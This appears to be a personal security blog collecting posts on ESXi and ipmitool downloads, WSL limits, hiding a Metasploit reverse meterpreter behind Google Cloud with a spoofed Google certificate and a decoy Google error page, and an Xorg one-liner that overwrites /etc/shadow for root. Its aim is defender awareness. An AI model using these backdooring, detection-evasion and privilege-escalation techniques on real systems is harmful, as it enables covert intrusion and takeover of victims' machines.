#!/zitstif.no-ip.org/

https://drive.google.com/open?id=1_jOr1QZqMhWLgadW_x7SLSwTw26N6BOj

md5sum:

a87ae18fdeb29c19a8b0c064a81498dc

VMware-VMvisor-Installer-6.7.0.update02-13006603.x86_64.iso

sha256sum:

73950afff2637470b9d347847b2f21cad5a6992becd8c14324668ac6a6ee0f3f

VMware-VMvisor-Installer-6.7.0.update02-13006603.x86_64.iso

 

For those of you who have to work remotely with Dell servers that have active iDRAC interfaces that are either not configured or their configuration isn’t documented, I’ve discovered a useful tool that is written for Linux but works on ESXI as well:

ipmitool – sha1sum 3244c3cee98ef3168193d1a26dca7dfcc732e459

https://drive.google.com/open?id=0BxZG1yRxL_q4TWtURHp1bU84eGFCazlHaWJjcDlfTWN5NUZr

ipmitool-1.8.15-1.vib – sha1sum 3cecaeec586fe06b5ace383a6acf4703fb143a08

https://drive.google.com/open?id=0BxZG1yRxL_q4UE95dTdGaHY0R3RhempnNmFzOUhBX3NVT2dn

With ssh enabled on your ESXI host, you can sftp one of these files to the host and use them to setup iDRAC or reset the admin/root user password.

Virustotal.com results:

https://bit.ly/2LMXQ7m

https://bit.ly/2YazScF

 

 

Windows Subsystem for Linux (WSL) is a great way to run a Linux environment within Windows 10 locally without having to rely on cygwin or using virtual machines.

It is not without its limitations. For instance, raw sockets are not supported so that means if you want to really utilize tools like nmap, you won’t be able to do so. However, from what I’m gathering, it sounds like WSL2 will support raw sockets.

As of today, I’ve updated my home lab Windows 10 systems to the newest non-insider build (Version 1903 (OS Build 18362.116)) and it was my hope that WSL2 would be included. Unfortunately, this is not the case. The wsl.exe command does not have a –set-version parameter yet and a newly installed debian on the my test system with nmap still produces raw socket related errors.

I have high hopes for what will become of WSL. For more information, take a look at this video:

https://www.youtube.com/watch?v=lwhMThePdIo

Today I want to present an idea that I’m sure is not new but is something that should be on the minds of paranoid system admins and information security related folks.

It is safe to say that we as a society rely on and trust cloud hosting services, such as Amazon AWS, Microsoft Azure, Google Cloud Compute, Linode, etc. Seeing connections out to these services via netstat, firewall appliances or UTMs may be over looked or blindly trusted. This exercise is to demonstrate how to potentially exploit that trust in these services.

For this instance, I decided to use Google Cloud Compute, due to two factors: there’s a free trial period and connections out to Google in organizational or residential environments is very common from my experience. (As of this time, according to netmarketshare.com, the Google Chrome browser has 65% of the browser market share.)

Setting up a Debian Linux VM in Google Cloud Compute is a snap and you’ll want to make sure ports 80 and 443 are accessible for this exercise. Once your VM is up and going, you can connect to it via ssh within the cloud console. Some initial setup may be needed depending on your preferences. Once done with these matters, simply install Metasploit:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Once Metasploit is downloaded and going, let’s impersonate Google’s SSL:

We can now backdoor a Google exe using the https reverse meterpreter payload that uses an impersonated Google SSL cert:

The next part (getting the payload on the victims system) will depend on creativity. For this case the AV evasion used in this method will not bypass most AV solutions but that is not the point of this exercise. (On a side note, AV evasion has become harder and harder.)

Now if you look at the generated exe on a Windows system, the PE looks pretty legit:

However, if you do run this executable, you will get an unknown publisher warning. So it’s not perfect but people do ignore this message.

As root, let’s setup the listener on the attackers end:

But before we run exploit -z -j, let’s add some more deception. You can use tools like httrack to essentially clone sites or web pages. The reason you may want port 80 forwarded to your VM is because you can setup a fake Google error page that redirects to Google and looks something like this:

Source code is available here: http://zitstif.no-ip.org/hideInCloud/index.txt

(Favicon.ico is located here:
https://www.google.com/favicon.ico )

That way if the victim/defender wants to connect to the IP address that the payload is connecting to, it appears to be a Google error page that simply redirects to Google.com.

For hosting the page, you have various options, but for something quick and dirty you could do this (as root):

Once the victim has ran the payload, for the most part, an average tech savvy end user or network administrator, the characteristics would look benign:

The whois for the IP even says Google:

A quick view on Wireshark makes it look like this is normal as well:

If you set this payload to run automatically (via registry, shell:startup, etc), autoruns doesn’t flag it with a red color:

While this is happening, the attacker is granted with an SSL meterpreter session that in my humble opinion is pretty stealthy.

Is this method sound proof and perfect? By no means it is. UTMs and security network appliances that do SSL dissection and inspection would probably flag this, but it all depends on the target and what resources they have allocated toward defense.

There are some similar ideas for abusing cloud hosting service providers such as:
https://github.com/byt3bl33d3r/gcat

Example of exploit: cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su

This is just another reason why if you run a headless server, to not have Xorg or a GUI installed. Reduce the attack surface as much as you can.